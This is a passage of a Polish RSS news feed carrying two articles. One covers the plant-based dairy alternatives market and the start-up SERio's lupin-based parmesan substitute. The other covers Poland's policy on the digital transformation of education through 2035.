		<description><![CDATA[Detaliczny rynek żywności roślinnej jest w Polsce wart ok. 1 mld zł, z czego 640 mln zł to roślinne zamienniki nabiału – wynika z badań Polskiego Związku Producentów Żywności Roślinnej. W tej kategorii zdecydowana większość to alternatywy dla mleka, ale jest w niej również coraz więcej zamienników sera. Polski start-up SERio opracował ser z jadalnego łubinu, który ma być alternatywą dla włoskich [&#8230;]]]></description>
				<content:encoded><![CDATA[<div id="opis_karta">
<p>Detaliczny rynek żywności roślinnej jest w Polsce wart ok. 1 mld zł, z czego 640 mln zł to roślinne zamienniki nabiału – wynika z badań Polskiego Związku Producentów Żywności Roślinnej. W tej kategorii zdecydowana większość to alternatywy dla mleka, ale jest w niej również coraz więcej zamienników sera. Polski start-up SERio opracował ser z jadalnego łubinu, który ma być alternatywą dla włoskich serów takich jak parmezan.</p>
<p>Z raportu ProVeg „Plant-Based Food in Poland” wynika, że 24 proc. polskich konsumentów identyfikuje się jako fleksitarianie, a 6 proc. stosuje dietę roślinną. Zmiany preferencji konsumentów sprawiają, że na rynku pojawia się coraz więcej roślinnych zamienników. Polski Związek Producentów Żywności Roślinnej w raporcie „Branża Żywności Roślinnej w Polsce 2024” podaje, że rynek detaliczny jest wart ponad 1 mld zł. Ponad połowę sprzedaży stanowią roślinne zamienniki nabiału, w tym sera. Ser wegański przeszedł długą drogę w odtwarzaniu tekstury i smaku tradycyjnych odmian. Obecnie na półkach można znaleźć wegański ser z miso, nerkowców czy tapioki. Polska firma opracowała odpowiednik parmezanu z popularnego, zwłaszcza w Portugalii, jadalnego łubinu.</p>
<p>– <em>Potencjał łubinu w alternatywach nabiału moim zdaniem jest bardzo duży. To mało znana roślina strączkowa z bardzo dużą zawartością białka i stosunkowo niską zawartością węglowodanów, przez co bardzo dobrze jest ją fermentować albo przetwarzać na zamienniki nabiału </em>– mówi Monika Gaszyńska, założycielka SERio. –<em> Nasz ser, który ma przypominać parmezan, ma 12 proc. białka. Tradycyjny parmezan ma go pewnie dwa razy więcej, z kolei nasz produkt ma błonnik, którego w ogóle nie ma w tradycyjnym serze. </em></p>
<p>Z danych przytaczanych w raporcie PZPŻR wynika, że w Polsce ok. 30 proc. konsumentów stara się ograniczać nabiał. Jedna trzecia robi to ze względów zdrowotnych.</p>
<p>Raport Appleyard Lees „Inside Green Innovation: Progress Report” podaje, że drugi najwyższy poziom innowacji w technologiach roślinnych w 2022 roku odnotowały zgłoszenia patentowe na białko grochu i soję, rzadziej stosowane były pszenica, tofu i tempeh. Na rynku pojawiają się też sery z miso czy alg, parmezan z migdałów, grochu, słonecznika, kokosa i kukurydzy. Jak jednak przekonuje założycielka SERio, żaden nie ma tak dużej zawartości białka jak ten wyprodukowany z łubinu.</p>
<p>– <em>To nowość na rynku z wykorzystaniem rośliny strączkowej właśnie z tak dużą zawartością białka roślinnego. Alternatywy parmezanu jako takie oczywiście istnieją, tylko po prostu są zupełnie w innej technologii, z innym zamysłem, mają przypominać parmezan jeden do jednego. A nasz parmezan ma nie tylko smakować, ale też ma dobry skład, błonnik</em> – wskazuje współtwórczyni pomysłu.</p>
<p>Firma SERio skupia się na roślinnych serach, z dodatkami białka z bobu, grochu czy łubinu. W planach ma też poszerzenie oferty o kolejne produkty z kategorii alternatyw nabiału.</p>
<p><em>– Mamy siedem produktów w tym momencie. Zaczęliśmy od produktów, które były mniej seropodobne. Stworzyliśmy do tej pory pięć produktów, które miały około 50–70 proc. łubinu. To nowa kategoria, sery, które nie są jeden do jednego jak ser tradycyjny, bo się nie topią, ale są superzdrowe, białkowe, błonnikowe. Potrzeba porównania sera roślinnego do sera tradycyjnego skłoniła nas, żeby stworzyć kolejne produkty, które są już bardziej seropodobne. Mamy ser plastrowany, który się topi, stworzyliśmy również ser SERio jak Grecki –</em> wymienia Monika Gaszyńska. <em>– Cały czas próbujemy z łubinem pracować, chociaż jest on trudny do obróbki, ponieważ ma dosyć mocny, goryczkowy posmak. Chcielibyśmy, żeby to smakowało i wyglądało jak fajne mleczko czy kremowy serek, jednak wymaga to dużo więcej badań, rozwoju. Jesteśmy na dobrej drodze, żeby coś nowego stworzyć na bazie łubinu.</em></p>
<p>Jak wskazują przedstawiciele branży, producenci żywności roślinnej są otwarci na współpracę z ośrodkami badawczo-rozwojowymi i rozwój własnych działów R&amp;D, nie zawsze jest to jednak możliwe bez odpowiednich środków na inwestycje, szczególnie w przypadku start-upów. Barierę stanowią także regulacje prawne, które często nie nadążają za innowacjami rynkowymi. W Polsce brakuje też inicjatyw rządowych na rzecz rozwoju innowacyjności i zwiększania dostępności żywności roślinnej, stosowanych na Zachodzie. Przykładowo niemiecki rząd w 2018 roku zainwestował 780 tys. dol. w badania mające na celu udoskonalenie konsystencji roślinnych produktów.</p>
<p><em>– Na pewno by nam pomogło finansowe wsparcie, czyli program z jakąś pulą pieniężną, którą moglibyśmy przeznaczyć na rozwój zakładu produkcyjnego, ponieważ bardzo kosztowne jest kupowanie nowych maszyn, które zwiększają nasze siły przerobowe albo zwiększają jakość produktu. Możemy wydłużyć datę ważności, nie dodając konserwantów niepożądanych, tylko poprzez zmianę maszyny, która będzie bardziej sterylnie coś produkować. Nawet zbierając finansowanie od inwestorów, bardzo ciężko nam jest przeznaczyć tak naprawdę całą pulę tych pieniędzy na zakład produkcyjny, bo mamy jeszcze bardzo dużo innych wydatków </em>– podkreśla założycielka SERio.</p>
<p>Aby firma mogła rozwijać swój asortyment, potrzebne było wsparcie finansowe od aniołów biznesu. COBIN Angels zainwestowało 1 mln zł w rozbudowę sieci sprzedażowo-operacyjnej i zwiększenie mocy produkcyjnej. Produkty SERio pojawiły się w ramach akcji in-out w stołecznych Biedronkach oraz sieci Carrefour.</p>
<p><em>– Największy potencjał wzrostu mamy przez współpracę z dużymi sieciami, to może być naprawdę gamechanger. Takie start-upy jak nasz często jednak napotykają opór sieciówek do współpracy, ponieważ dla nich to jest kolejny produkt, który wymaga dużej biurokracji. Zresztą niektóre sieci są tak liczne, że żeby taki mały start-up jak nasz wypełnił półki sklepowe wszystkich dyskontów, to czasami nie da się wyrobić produkcyjnie. Dla roślinnych start-upów to ciężka droga, żeby znaleźć się w dużych sklepach i sieciach. Z drugiej strony, jeżeli nie będziemy mogli sprzedawać w takich sklepach, to my się nie rozwiniemy </em>– tłumaczy założycielka SERio. – <em>Na szczęście są różne programy, jest organizacja Polskiego Związku Producentów Żywności Roślinnej, która pomaga nam w tym, abyśmy się pojawili np. w Carrefourze, albo żeby prawo było bardziej sprzyjające, jeżeli chodzi o to, jakim podatkiem jest obarczony produkt roślinny. Teraz czekamy, żebyśmy mogli swobodnie nazywać serem coś, co dla wielu osób nie jest serem. To pomaga w komunikacji, żeby ludzie wiedzieli, co tak naprawdę sprzedajemy.</em></p>
<p>Start-upy foodtech w Polsce, według raportu przygotowanego przez PFR Ventures we współpracy z Inovo, w 2023 roku pozyskały 60 mln zł w 23 rundach inwestycyjnych. Sektor ten jest regularnie ujmowany w start-upowych raportach, ponieważ cieszy się większym zainteresowaniem zagranicznych funduszy oraz akceleratorów FoodTech. Sprzyja temu na pewno większe zainteresowanie sieci handlowych – w ubiegłym roku na półkach Carrefoura oraz w żabkowych e-commerce’ach obecne są produkty takich start-upów jak Apollo Roślinny Qurczak, Listny Cud, Planeat, Food Jack, Cudo Kombucha czy właśnie SERio.</p>
</div>
]]></content:encoded>
			<wfw:commentRss>https://www.twojeinnowacje.pl/rynek-roslinnych-zamiennikow-nabialu-jest-wart-640-mln-zl/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Lepsze wykorzystanie narzędzi cyfrowych w edukacji przez następne 10 lat</title>
		<link>https://www.twojeinnowacje.pl/lepsze-wykorzystanie-narzedzi-cyfrowych-w-edukacji-przez-nastepne-10-lat</link>
		<comments>https://www.twojeinnowacje.pl/lepsze-wykorzystanie-narzedzi-cyfrowych-w-edukacji-przez-nastepne-10-lat#comments</comments>
		<pubDate>Thu, 21 Nov 2024 13:13:06 +0000</pubDate>
		<dc:creator><![CDATA[mkadmin]]></dc:creator>
				<category><![CDATA[Nauka]]></category>
		<category><![CDATA[cyfrowa transformacja]]></category>
		<category><![CDATA[najnowsze wiadomości]]></category>
		<category><![CDATA[obszary transformacji cyfrowej]]></category>
		<category><![CDATA[stan edukacji w polsce]]></category>

		<guid isPermaLink="false">http://www.twojeinnowacje.pl/?p=39405</guid>
		<description><![CDATA[Wdrożenie Polityki Cyfrowej Transformacji Edukacji to jeden z kamieni milowych KPO. Jej osią ma być Dekalog Cyfrowej Transformacji Edukacji ­– zebrany w 10 punktów zestaw kluczowych wyzwań, z jakimi system edukacji będzie się musiał zmierzyć, by wyposażyć uczniów w kompetencje, które już dziś stają się niezbędne, nie tylko na rynku pracy. Chodzi m.in. o przemodelowanie kształcenia tak, by uczyć dzieci odróżniania [&#8230;]]]></description>
				<content:encoded><![CDATA[<div id="opis_karta">
<p>Wdrożenie Polityki Cyfrowej Transformacji Edukacji to jeden z kamieni milowych KPO. Jej osią ma być Dekalog Cyfrowej Transformacji Edukacji ­– zebrany w 10 punktów zestaw kluczowych wyzwań, z jakimi system edukacji będzie się musiał zmierzyć, by wyposażyć uczniów w kompetencje, które już dziś stają się niezbędne, nie tylko na rynku pracy. Chodzi m.in. o przemodelowanie kształcenia tak, by uczyć dzieci odróżniania prawdy od manipulacji, weryfikowania źródeł i korzystania z nich, a także mądrego używania narzędzi sztucznej inteligencji. Wszystkie założenia wynikające z dokumentu mają być spełnione do 2035 roku.</p>
<p>Rada Ministrów przyjęła 12 września Politykę Cyfrowej Transformacji Edukacji, która wyznacza ramy polityki państwa i działania, które są niezbędne do zmian w systemie edukacyjnym. Celem jest lepsze wykorzystanie narzędzi cyfrowych, przeformułowanie modelu nauczania oraz zwiększenie kompetencji nauczycieli i uczniów.</p>
<p>–<em> Dokument Polityki Cyfrowej Transformacji Edukacji jest bardzo dobrym krokiem w transformacji edukacji w Polsce. Widzimy, że jest tam poruszonych szereg wątków, które są niezbędne do tego, żeby ta edukacja faktycznie odpowiadała wyzwaniom obecnego świata. Jest poruszony dla mnie kluczowy element, czyli metodologia edukacji, edukacji projektowej, pracy w grupach, rozwiązywania problemów. Wszystkie umiejętności, które są wymagane i będą wymagane w świecie AI, są tam uwzględnione</em> – ocenia w wywiadzie Mateusz Rybiński, prezes zarządu Fundacji EdTech, współzałożyciel Koding Next.</p>
<p>Dokument jest jednym z kamieni milowych przewidzianych w Krajowym Planie Odbudowy i Zwiększania Odporności. Ma być wdrażany etapami, zgodnie z wytyczonym planem działania. Perspektywa krótkoterminowa sięga do roku 2027, średnioterminowa do 2030, a długoterminowa do roku 2035. Metodom kształcenia, dydaktyce cyfrowej i cyfrowym zasobom dydaktycznym poświęcono jeden z 10 rozdziałów dokumentu, tworzących Dekalog Cyfrowej Transformacji Edukacji. Jak czytamy w Ocenie Skutków Regulacji, korzystanie przez uczniów i nauczycieli na zajęciach z technologii, nie tylko tych informatycznych, w naturalny sposób prowadzi do zrywania z tradycyjnym przekazem, czyli metodą podającą, w której nauczyciel jest nadawcą, a uczeń odbiorcą. Technologia ma być więc w szkołach katalizatorem aktywności uczniów. Najczęściej jednak jest ich wsparciem, a w przypadku uczniów ze specjalnymi potrzebami edukacyjnymi – również partnerem.</p>
<p>Niezbędne jest też jednak wsparcie infrastrukturalne szkół. Twórcy PCTE uznali, że największym wyzwaniem dla organów prowadzących szkoły i dla samych szkół jest nowoczesne wyposażenie pracowni komputerowych oraz zapewnienie, aby w każdej sali lekcyjnej mogły się odbywać zajęcia z wykorzystaniem technologii cyfrowych. Potrzeba do tego wystarczającej liczby komputerów i urządzeń ze stałym dostępem do internetu.</p>
<p>–<em> Już na etapie szkoły podstawowej czy szkoły ponadpodstawowej jest niezbędne to, żeby nauczyciele i uczniowie mieli dostęp do odpowiednich narzędzi. Mierzymy się też z elementami sztucznej inteligencji. To już chyba oczywiste, że wpływ SI na środowisko pracy będzie coraz większy, więc żeby przygotować uczniów na tę przyszłość, trzeba poruszać ten temat od wczesnych lat. Pod tym względem wydaje się, że to jest pozytywny dokument i faktycznie, wiele elementów, które trzeba zmienić, jest tam zawartych. Natomiast oczywiście diabeł będzie tkwił w szczegółach, jak się uda to wdrożyć, jak będzie przygotowana szkoła, jakie programy będą za tym szły i jak będą przygotowani nauczyciele na tę zmianę, bo to na pewno wymaga szeregu nowych umiejętności od nich –</em> mówi Mateusz Rybiński.</p>
<p>W ocenie twórców dokumentu koniecznym warunkiem transformacji cyfrowej jest rozpowszechnienie w społeczeństwie podstawowych kompetencji cyfrowych. Powinno się to odbywać już na etapie szkolnej edukacji, m.in. poprzez przyrostowe rozwijanie umiejętności programowania od I klasy podstawówki. Ze specjalną ofertą należy wyjść natomiast do szczególnie uzdolnionych uczniów. Eksperci twierdzą jednak, że przemodelować należy cały proces kształcenia.</p>
<p>–<em> Chodzi przede wszystkim o wyjście z silosów, kiedy każdy przedmiot jest osobny i nie ma przestrzeni na to, żeby zrozumieć, że świat jest połączony ze sobą. Fizyka, chemia, biologia, język angielski, polski – to wszystko ze sobą koegzystuje. Więc przede wszystkim trzeba dać przestrzeń do tego, żeby nauczać interdyscyplinarnie. Druga rzecz wydaje się oczywista: obecnie do szkoły nie chodzi się po to, żeby zdobywać wiedzę, ale raczej umiejętności. Oczywiście jest pewien niezbędny poziom wiedzy elementarnej, natomiast powinniśmy </em><em>się </em><em>skupić na tym, żeby uczniowie wiedzieli, jak robić research, jak korzystać z internetu, jak korzystać z AI, jak umieć odróżnić prawdę od półprawdy albo od fałszu, jak zdobywać informacje, jak je analizować i jak wyciągać wnioski. Tego potrzeba w podstawie programowej. Sama jej treść jest ważna, ale powinniśmy dawać taki zestaw narzędzi dla ucznia, który sobie sam poradzi, niezależnie od tego, jak będzie się zmieniał świat –</em> ocenia ekspert.</p>
<p>Ważne jest też nastawienie reprezentowane wobec zmiany modelu kształcenia przez nauczycieli. Istotnym zadaniem do zrealizowania będzie więc zachęcenie pedagogów do transformacji i zapewnienie im odpowiednich kompetencji.</p>
<p>Jak podkreśla Mateusz Rybiński, który na co dzień współtworzy największą w Azji Południowo-Wschodniej szkołę kodowania, zarówno polskie, jak i zagraniczne szkoły mierzą się przy wdrażaniu cyfrowej transformacji z podobnymi wyzwaniami.</p>
<p>– <em>Stan edukacji na świecie jest podobny pod względem warstwy merytorycznej i wszędzie zachodzą podobne przemiany, natomiast oczywiście każdy region ma swoje problemy i swoje uwarunkowania. Zmiany w Azji, zwłaszcza jeżeli chodzi o wdrażanie sztucznej inteligencji i technologii, są dosyć szybkie. W Europie podchodzi się do tego w taki sposób, żeby </em><em>się </em><em>zastanowić, jakie są konsekwencje, jak to wdrożyć w sposób zrównoważony. W Azji najpierw jest działanie, a potem się dostosowuje do tego całą politykę. Trudno powiedzieć, która wersja jest lepsza. Pewnie w dłuższej perspektywie Europa zacznie to gonić, natomiast Azja jest dynamicznym miejscem, gdzie te zmiany są wdrażane bardzo szybko i tu widać duży przeskok</em> – porównuje prezes Fundacji EdTech.</p>
</div>
]]></content:encoded>
			<wfw:commentRss>https://www.twojeinnowacje.pl/lepsze-wykorzystanie-narzedzi-cyfrowych-w-edukacji-przez-nastepne-10-lat/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
